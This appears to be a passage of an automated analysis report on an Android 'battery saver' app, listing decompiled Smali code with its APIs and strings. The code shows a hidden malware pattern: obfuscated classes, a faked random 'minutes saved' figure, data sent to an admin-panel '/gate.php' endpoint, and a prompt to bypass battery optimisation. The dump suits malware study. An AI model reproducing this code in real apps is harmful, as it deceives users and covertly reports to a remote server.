          71invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          73invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
          75invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          76move-result-object p1
          78invoke-virtual {v0, v1, p1}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          79goto_6b: return-void
          APIs
          • android.content.Context.unregisterReceiver
          • android.content.Intent.getIntExtra
          • com.saver.batterymobi.MainActivity.a
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • android.widget.TextView.setText
          • com.saver.batterymobi.MainActivity.b
          • android.widget.ImageView.setImageResource
          • com.saver.batterymobi.MainActivity.b
          • android.widget.ImageView.setImageResource
          • com.saver.batterymobi.MainActivity.b
          • android.widget.ImageView.setImageResource
          • com.saver.batterymobi.MainActivity.b
          • android.widget.ImageView.setImageResource
          Strings
          • level
          • scale
          • %
          Position Instruction Meta Information
          1invoke-virtual {p1, p0}, Landroid/content/Context;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
          3const-string p1, "level"
          4const/4 v0, -0x1
          6invoke-virtual {p2, p1, v0}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
          7move-result p1
          9const-string v1, "scale"
          11invoke-virtual {p2, v1, v0}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
          12move-result p2
          13if-ltz p1, :cond_18
          14if-lez p2, :cond_18
          15mul-int/lit8 p1, p1, 0x64
          16div-int v0, p1, p2
          17cond_18:
          18iget-object p1, p0, Lcom/saver/batterymobi/MainActivity$1;->a:Lcom/saver/batterymobi/MainActivity;
          20invoke-static {p1}, Lcom/saver/batterymobi/MainActivity;->a(Lcom/saver/batterymobi/MainActivity;)Landroid/widget/TextView;
          21move-result-object p1
          22new-instance p2, Ljava/lang/StringBuilder;
          24invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
          26invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
          28const-string v1, "%"
          30invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          32invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          33move-result-object p2
          35invoke-virtual {p1, p2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
          36if-ltz v0, :cond_44
          37const/16 p1, 0x19
          38if-ge v0, p1, :cond_44
          40iget-object p1, p0, Lcom/saver/batterymobi/MainActivity$1;->a:Lcom/saver/batterymobi/MainActivity;
          42invoke-static {p1}, Lcom/saver/batterymobi/MainActivity;->b(Lcom/saver/batterymobi/MainActivity;)Landroid/widget/ImageView;
          43move-result-object p1
          44const p2, 0x7f060054
          46invoke-virtual {p1, p2}, Landroid/widget/ImageView;->setImageResource(I)V
          47cond_44: const/16 p1, 0x14
          48const/16 p2, 0x37
          49if-lt v0, p1, :cond_58
          50if-ge v0, p2, :cond_58
          52iget-object p1, p0, Lcom/saver/batterymobi/MainActivity$1;->a:Lcom/saver/batterymobi/MainActivity;
          54invoke-static {p1}, Lcom/saver/batterymobi/MainActivity;->b(Lcom/saver/batterymobi/MainActivity;)Landroid/widget/ImageView;
          55move-result-object p1
          56const v1, 0x7f060055
          58invoke-virtual {p1, v1}, Landroid/widget/ImageView;->setImageResource(I)V
          59cond_58: const/16 p1, 0x5a
          60if-lt v0, p2, :cond_6a
          61if-ge v0, p1, :cond_6a
          63iget-object p2, p0, Lcom/saver/batterymobi/MainActivity$1;->a:Lcom/saver/batterymobi/MainActivity;
          65invoke-static {p2}, Lcom/saver/batterymobi/MainActivity;->b(Lcom/saver/batterymobi/MainActivity;)Landroid/widget/ImageView;
          66move-result-object p2
          67const v1, 0x7f060056
          69invoke-virtual {p2, v1}, Landroid/widget/ImageView;->setImageResource(I)V
          70cond_6a: if-lt v0, p1, :cond_78
          72iget-object p1, p0, Lcom/saver/batterymobi/MainActivity$1;->a:Lcom/saver/batterymobi/MainActivity;
          74invoke-static {p1}, Lcom/saver/batterymobi/MainActivity;->b(Lcom/saver/batterymobi/MainActivity;)Landroid/widget/ImageView;
          75move-result-object p1
          76const p2, 0x7f060057
          78invoke-virtual {p1, p2}, Landroid/widget/ImageView;->setImageResource(I)V
          79cond_78: return-void
          Cross References
          APIs
          • java.lang.Integer.parseInt
          • java.lang.Object.getClass
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Strings
          • step
          • Step
          • (
          • )+
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->a:Lcom/saver/batterymobi/lkj/a/c;
          3const-string v1, "step"
          5invoke-virtual {v0, p0, v1}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          6move-result-object v0
          8invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
          9move-result v0
          10add-int/lit8 v0, v0, 0x1
          12iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->a:Lcom/saver/batterymobi/lkj/a/c;
          14iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->b:Lcom/saver/batterymobi/lkj/a;
          16invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          18const-string v2, "step"
          19new-instance v3, Ljava/lang/StringBuilder;
          21invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
          23const-string v4, ""
          25invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          27invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
          29invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          30move-result-object v3
          32invoke-virtual {v1, p0, v2, v3}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          34iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->a:Lcom/saver/batterymobi/lkj/a/c;
          36const-string v2, "Step"
          37new-instance v3, Ljava/lang/StringBuilder;
          39invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
          41const-string v4, "("
          43invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          45invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
          47const-string v0, ")+"
          49invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          51invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          52move-result-object v0
          54invoke-virtual {v1, v2, v0}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          55return-void
          APIs
          • java.util.concurrent.TimeUnit.sleep
          • java.lang.InterruptedException.printStackTrace
          • com.saver.batterymobi.lkj.jgj.edw.getApplicationContext
          • android.widget.Toast.makeText
          • android.widget.Toast.setGravity
          • android.widget.ImageView.<init>
          • java.lang.StringBuilder.<init>
          • java.lang.Object.getClass
          • java.lang.StringBuilder.append
          • java.lang.Object.getClass
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • android.util.Base64.decode
          • android.graphics.BitmapFactory.decodeByteArray
          • android.widget.ImageView.setImageBitmap
          • android.widget.Toast.setView
          • android.widget.Toast.show
          Position Instruction Meta Information
          0try_start_0:
          1sget-object p1, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
          2const-wide/16 v0, 0x5dc
          4invoke-virtual {p1, v0, v1}, Ljava/util/concurrent/TimeUnit;->sleep(J)V
          5try_end_7: goto/16 :goto_c
          6catch_8: move-exception p1
          8invoke-virtual {p1}, Ljava/lang/InterruptedException;->printStackTrace()V
          9goto_c: sget p1, Landroid/os/Build$VERSION;->SDK_INT:I
          10const/16 p3, 0x18
          11if-lt p1, p3, :cond_57
          13invoke-virtual {p0}, Lcom/saver/batterymobi/lkj/jgj/edw;->getApplicationContext()Landroid/content/Context;
          14move-result-object p1
          16const-string p3, ""
          17const/4 v0, 0x1
          19invoke-static {p1, p3, v0}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
          20move-result-object p1
          21const/16 p3, 0x10
          22const/4 v0, 0x0
          24invoke-virtual {p1, p3, v0, v0}, Landroid/widget/Toast;->setGravity(III)V
          25new-instance p3, Landroid/widget/ImageView;
          27invoke-direct {p3, p0}, Landroid/widget/ImageView;-><init>(Landroid/content/Context;)V
          28new-instance v1, Ljava/lang/StringBuilder;
          30invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
          32iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/edw;->b:Lcom/saver/batterymobi/lkj/a;
          34invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          36const-string v2, "iVBORw0KGgoAAAANSUhEUgAABDgAAANVCAYAAACd3U6FAADUZUlEQVR42uzdd3wU5fr//8/jp0cB6SAiVqzH3ntDz7FjAXs72LsHK4LAUVA6CgLSm3QEBDQUqdKkN2nSpAWQJEDozHz/uH5zTdg42ezsziZbZjevP54PJdndmZ25Z7P3e+77uv8vKytLchYtlqNnniP/7/87EQAAAAAAIGVonqG5xv8RbgAAAAAAgFQPOf5v/ycNORgAAAAAACClEXAAAAAAAID0DDgO33KH6M8BAAAAAAD8RnMLTwGH/kyLjwIAAAAAAPhNqCyDgAMAAAAAABBwAAAAAAAAEHAAAAAAAAAQcAAAAAAAAAIOAg4AAAAAAEDAAQAAAAAAQMABAAAAAABAwAEAAAAAAAg4CDgAAAAAAAABBwAAAAAAAAEHAAAAAAAAAQcAAAAAACDgIOAAAAAAAAAEHAAAAAAAAAQcAAAAAAAABBwAAAAAAICAg4ADAAAAAAAQcAAAAAAAABBwAAAAAAAAEHAAAAAAAAACDgIOAAAAAABAwAEAAAAAAEDAAQAAAAAAQMABAAAAAAAIOAg4AAAAAAAAAQcAAAAAAAABBwAAAAAAAAEHAAAAAAAg4CDgAAAAAAAABBwAAAAAAAAEHAAAAAAAAAQcAAAAAACAgIOAAwAAAAAAEHAAAAAAAAAQcAAAAAAAABBwAAAAAAAAAg4CDgAAAAAAQMABAAAAAABAwAEAAAAAAEDAAQAAAAAACDgIOAAAAAAAAAEHAAAAAAAAAQcAAAAAAAABR2wNWraA4wAAAAAAAAFH6vpq1hSp1PITqf1DP44HAAAAAAAEHKkbbgQQcgCpodH08XJBt9aFXNG7Q1yeB3d3DO4W8pjW+3k4xwcAAAAEHMkINwg5gNTx6riRIa/fU9o3jsvz4O68rq1CHtN7hvXm+AAAAICAI1nhhrqwWxv5Y9tWGlQauX94H7m899eF3EsHjICDgIOAAwAAAAQchBtIFT
          38invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          40iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/edw;->b:Lcom/saver/batterymobi/lkj/a;
          42invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          44const-string v2, "Xob26AUXy/4GDWX31GkF2ujhm27z8b5XlKNnnye7J03m8wQAAQcAAEAyHbnsKjrZ8E9gcEIZOzQwy1eRg3WekL19+tnhh99Xk9HRHAdefUOytmzhcwUAAQcAAECiZW/YwPKw8PnoDg07KqdMnRGj2mmyZ9RoPl8AAg4CDgAAgETaM2YsnWggDkHHwceekuz16/mcAQg4CDgAAAASZW+vPnL4rrvFLF1OjPJV7AKQdFKBYoYcpazrqeLJsrf/93zOAAQcBBwAAAAJtWOH7Bk9Vg68/pYYp59t1xTw28oVQCpOsTn8r3sle9UqPmMAAg4CDgAAgGTIWbxE9rVpJ4dvvNWu02FWqGIvjUmnFYi2cOpJ9rK4uR078dkCEHAQcAAAACTV1q2yZ+hwOfh8PTFOrpFX+LE0S8sCUQUdZSvKkWtvlJxFi/lMAQg4CDgAAAB8Mbpjzm+y74vmcuTKa+3RHXbtDjqwQOSQ4/jSYpYpL/uafSlZf/3F5wlAwEHAAQAA4Bt//il7+/aXg3WfEFODjnKVWXoW8FCb4+g/L5WcmbP4DAEIODhgAAAAfrR7ylTZ36CRHL3w0rzaHeUr06EFQoUcqnR52f/+R5KVmcnnB0DAAQAAAL/K/mOt5HbtLofuq51Xt0NHePyjDJ1boMBojgpy9MxzZPeEX/jcAAg4AAAA4Hs7d8rujHGy/736cvTs88QsVU6MspXo4AKBoKN0eTn44suStWkznxcAAQcAAABSZnTH779L7jcd5fAdd+WFHRWq2gUY6eiipIccRtVTZc/IUXxOAAQcAAAASDmZmXaH7sArr4tx6hlilqlgo8OLEht0WO3/0COPSfa6dXw+AAQcAAAASFU5CxfKvhat5Mj1N+ctQ6ujO+j0oqSFHPbIpiqyt3dfPhcAAg4AAACkvM1bZO/AwXLwmefFqHKKmGUriVm6HB1glKglZQ/f+W/JXrGCzwOAgAMAAABpM7pjxkzZ1+RzOXLZVXmjO8pXoROM9A
          46invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          48invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          49move-result-object v1
          51invoke-static {v1, v0}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
          52move-result-object v1
          53array-length v2, v1
          55invoke-static {v1, v0, v2}, Landroid/graphics/BitmapFactory;->decodeByteArray([BII)Landroid/graphics/Bitmap;
          56move-result-object v0
          58invoke-virtual {p3, v0}, Landroid/widget/ImageView;->setImageBitmap(Landroid/graphics/Bitmap;)V
          60invoke-virtual {p1, p3}, Landroid/widget/Toast;->setView(Landroid/view/View;)V
          62invoke-virtual {p1}, Landroid/widget/Toast;->show()V
          63cond_57: return p2
          APIs
          • android.app.Activity.onCreate
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • com.saver.batterymobi.lkj.zxs.frw.getPackageName
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • android.net.Uri.parse
          • android.content.Intent.<init>
          • android.content.Intent.addFlags
          • com.saver.batterymobi.lkj.zxs.frw.startActivity
          • com.saver.batterymobi.lkj.zxs.frw.finish
          Strings
          • android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
          • package:
          Position Instruction Meta Information
          1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
          3iget-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/frw;->a:Lcom/saver/batterymobi/lkj/a/c;
          5invoke-virtual {p1, p0}, Lcom/saver/batterymobi/lkj/a/c;->e(Landroid/content/Context;)Z
          6move-result p1
          7if-nez p1, :cond_38
          8try_start_b: new-instance p1, Landroid/content/Intent;
          10const-string v0, "android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"
          11new-instance v1, Ljava/lang/StringBuilder;
          13invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
          15const-string v2, "package:"
          17invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          19invoke-virtual {p0}, Lcom/saver/batterymobi/lkj/zxs/frw;->getPackageName()Ljava/lang/String;
          20move-result-object v2
          22invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          24invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          25move-result-object v1
          27invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
          28move-result-object v1
          30invoke-direct {p1, v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
          31const/high16 v0, 0x10000000
          33invoke-virtual {p1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          34const/high16 v0, 0x40000000 # 2.0f
          36invoke-virtual {p1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          38invoke-virtual {p0, p1}, Lcom/saver/batterymobi/lkj/zxs/frw;->startActivity(Landroid/content/Intent;)V
          39try_end_38:
          40invoke-virtual {p0}, Lcom/saver/batterymobi/lkj/zxs/frw;->finish()V
          41return-void
          Cross References
          APIs
          • java.lang.Object.getClass
          • java.lang.Class.getName
          • java.lang.StringBuilder.<init>
          • java.lang.Object.getClass
          • java.lang.Class.getSimpleName
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.RuntimeException.<init>
          Strings
          • does not have a Parcelizer
          Position Instruction Meta Information
          0try_start_0:
          1invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          2move-result-object v0
          4invoke-static {v0}, Landroidx/versionedparcelable/a;->a(Ljava/lang/Class;)Ljava/lang/Class;
          5move-result-object v0
          6try_end_8:
          7invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
          8move-result-object p1
          10invoke-virtual {p0, p1}, Landroidx/versionedparcelable/a;->a(Ljava/lang/String;)V
          11return-void
          12catch_10: move-exception v0
          13new-instance v1, Ljava/lang/RuntimeException;
          14new-instance v2, Ljava/lang/StringBuilder;
          16invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
          18invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          19move-result-object p1
          21invoke-virtual {p1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
          22move-result-object p1
          24invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          26const-string p1, " does not have a Parcelizer"
          28invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          30invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          31move-result-object p1
          33invoke-direct {v1, p1, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
          34throw v1
          Cross References
          APIs
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • com.saver.batterymobi.MainActivity.a
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • android.widget.TextView.setText
          Strings
          • Saved:
          • min
          • min
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/MainActivity;->r:Landroid/widget/TextView;
          2new-instance v1, Ljava/lang/StringBuilder;
          4invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
          6const-string v2, "Saved: "
          8invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          10const-string v2, "min"
          12invoke-virtual {p0, p1, v2}, Lcom/saver/batterymobi/MainActivity;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          13move-result-object p1
          15invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          17const-string p1, " min"
          19invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          21invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          22move-result-object p1
          24invoke-virtual {v0, p1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
          25return-void
          Cross References
          APIs
          • java.util.Random.<init>
          • java.lang.StringBuilder.<init>
          • java.lang.String.length
          • java.util.Random.nextInt
          • java.lang.String.charAt
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Strings
          • qwertyuiopasdfghjklzxcvbnm1234567890
          Position Instruction Meta Information
          1const-string v0, "qwertyuiopasdfghjklzxcvbnm1234567890"
          2new-instance v1, Ljava/util/Random;
          4invoke-direct {v1}, Ljava/util/Random;-><init>()V
          5new-instance v2, Ljava/lang/StringBuilder;
          7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
          8const/4 v3, 0x0
          9goto_d: if-ge v3, p1, :cond_21
          11invoke-virtual {v0}, Ljava/lang/String;->length()I
          12move-result v4
          14invoke-virtual {v1, v4}, Ljava/util/Random;->nextInt(I)I
          15move-result v4
          17invoke-virtual {v0, v4}, Ljava/lang/String;->charAt(I)C
          18move-result v4
          20invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
          21add-int/lit8 v3, v3, 0x1
          22goto/16 :goto_d
          23cond_21:
          24invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          25move-result-object p1
          26return-object p1
          Cross References
          APIs
          • java.util.Random.<init>
          • java.util.Random.nextInt
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • com.saver.batterymobi.MainActivity.a
          Strings
          • min
          Position Instruction Meta Information
          0new-instance v0, Ljava/util/Random;
          2invoke-direct {v0}, Ljava/util/Random;-><init>()V
          3const/16 v1, 0x17
          5invoke-virtual {v0, v1}, Ljava/util/Random;->nextInt(I)I
          6move-result v0
          7add-int/lit8 v0, v0, 0x16
          9const-string v1, "min"
          10new-instance v2, Ljava/lang/StringBuilder;
          12invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
          14const-string v3, ""
          16invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          18invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
          20invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          21move-result-object v0
          23invoke-virtual {p0, p1, v1, v0}, Lcom/saver/batterymobi/MainActivity;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          24return-void
          Cross References
          APIs
          • java.lang.Class.getPackage
          • java.lang.Package.getName
          • java.lang.Class.getSimpleName
          • java.lang.String.format
          • java.lang.Class.getClassLoader
          • java.lang.Class.forName
          Strings
          • %s.%sParcelizer
          Position Instruction Meta Information
          0.annotation system Ldalvik/annotation/Signature;
          1value = {
          2"(",
          3"Ljava/lang/Class<",
          4"+",
          5"Landroidx/versionedparcelable/c;",
          6">;)",
          7"Ljava/lang/Class;"
          8}
          9.end annotation
          11invoke-virtual {p0}, Ljava/lang/Class;->getPackage()Ljava/lang/Package;
          12move-result-object v0
          14invoke-virtual {v0}, Ljava/lang/Package;->getName()Ljava/lang/String;
          15move-result-object v0
          17const-string v1, "%s.%sParcelizer"
          18const/4 v2, 0x2
          19new-array v2, v2, [Ljava/lang/Object;
          20const/4 v3, 0x0
          21aput-object v0, v2, v3
          23invoke-virtual {p0}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
          24move-result-object v0
          25const/4 v4, 0x1
          26aput-object v0, v2, v4
          28invoke-static {v1, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
          29move-result-object v0
          31invoke-virtual {p0}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
          32move-result-object p0
          34invoke-static {v0, v3, p0}, Ljava/lang/Class;->forName(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;
          35move-result-object p0
          36return-object p0
          APIs
          • android.support.v7.app.c.<init>
          • java.lang.StringBuilder.<init>
          • java.lang.Class.getSimpleName
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Strings
          • >>
          Position Instruction Meta Information
          1invoke-direct {p0}, Landroid/support/v7/app/c;-><init>()V
          2new-instance v0, Ljava/lang/StringBuilder;
          4invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
          5const-class v1, Lcom/saver/batterymobi/MainActivity;
          7invoke-virtual {v1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
          8move-result-object v1
          10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          12const-string v1, " >> "
          14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          16invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          17move-result-object v0
          18iput-object v0, p0, Lcom/saver/batterymobi/MainActivity;->p:Ljava/lang/String;
          20const-string v0, ""
          21iput-object v0, p0, Lcom/saver/batterymobi/MainActivity;->j:Ljava/lang/String;
          22new-instance v0, Lcom/saver/batterymobi/lkj/a/c;
          24invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a/c;-><init>()V
          25iput-object v0, p0, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          26new-instance v0, Lcom/saver/batterymobi/lkj/a;
          28invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a;-><init>()V
          29iput-object v0, p0, Lcom/saver/batterymobi/MainActivity;->m:Lcom/saver/batterymobi/lkj/a;
          30return-void
          Cross References
          APIs
          • java.lang.Object.getClass
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Strings
          • urlAdminPanel
          • /gate.php
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          3invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          5const-string v0, "urlAdminPanel"
          7invoke-virtual {p0, p1, v0}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          8move-result-object p1
          9new-instance v0, Lcom/saver/batterymobi/lkj/a/a;
          11invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a/a;-><init>()V
          12new-instance v1, Ljava/lang/StringBuilder;
          14invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
          16invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          18const-string p1, "/gate.php"
          20invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          22invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          23move-result-object p1
          25invoke-virtual {v0, p1, p2}, Lcom/saver/batterymobi/lkj/a/a;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
          26move-result-object p1
          27return-object p1
          APIs
          • android.content.BroadcastReceiver.<init>
          • java.lang.StringBuilder.<init>
          • java.lang.Class.getSimpleName
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Strings
          • >>
          Position Instruction Meta Information
          1invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
          2new-instance v0, Ljava/lang/StringBuilder;
          4invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
          5const-class v1, Lcom/saver/batterymobi/lkj/dsf/brt;
          7invoke-virtual {v1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
          8move-result-object v1
          10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          12const-string v1, " >> "
          14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          16invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          17move-result-object v0
          18iput-object v0, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->c:Ljava/lang/String;
          19new-instance v0, Lcom/saver/batterymobi/lkj/a/c;
          21invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a/c;-><init>()V
          22iput-object v0, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          23new-instance v0, Lcom/saver/batterymobi/lkj/a;
          25invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a;-><init>()V
          26iput-object v0, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->b:Lcom/saver/batterymobi/lkj/a;
          27return-void
          APIs
          • android.app.Activity.<init>
          • java.lang.StringBuilder.<init>
          • java.lang.Class.getSimpleName
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Strings
          • >>
          Position Instruction Meta Information
          1invoke-direct {p0}, Landroid/app/Activity;-><init>()V
          2new-instance v0, Lcom/saver/batterymobi/lkj/a/c;
          4invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a/c;-><init>()V
          5iput-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->a:Lcom/saver/batterymobi/lkj/a/c;
          6new-instance v0, Lcom/saver/batterymobi/lkj/a;
          8invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a;-><init>()V
          9iput-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->b:Lcom/saver/batterymobi/lkj/a;
          10new-instance v0, Ljava/lang/StringBuilder;
          12invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
          13const-class v1, Lcom/saver/batterymobi/MainActivity;
          15invoke-virtual {v1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
          16move-result-object v1
          18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
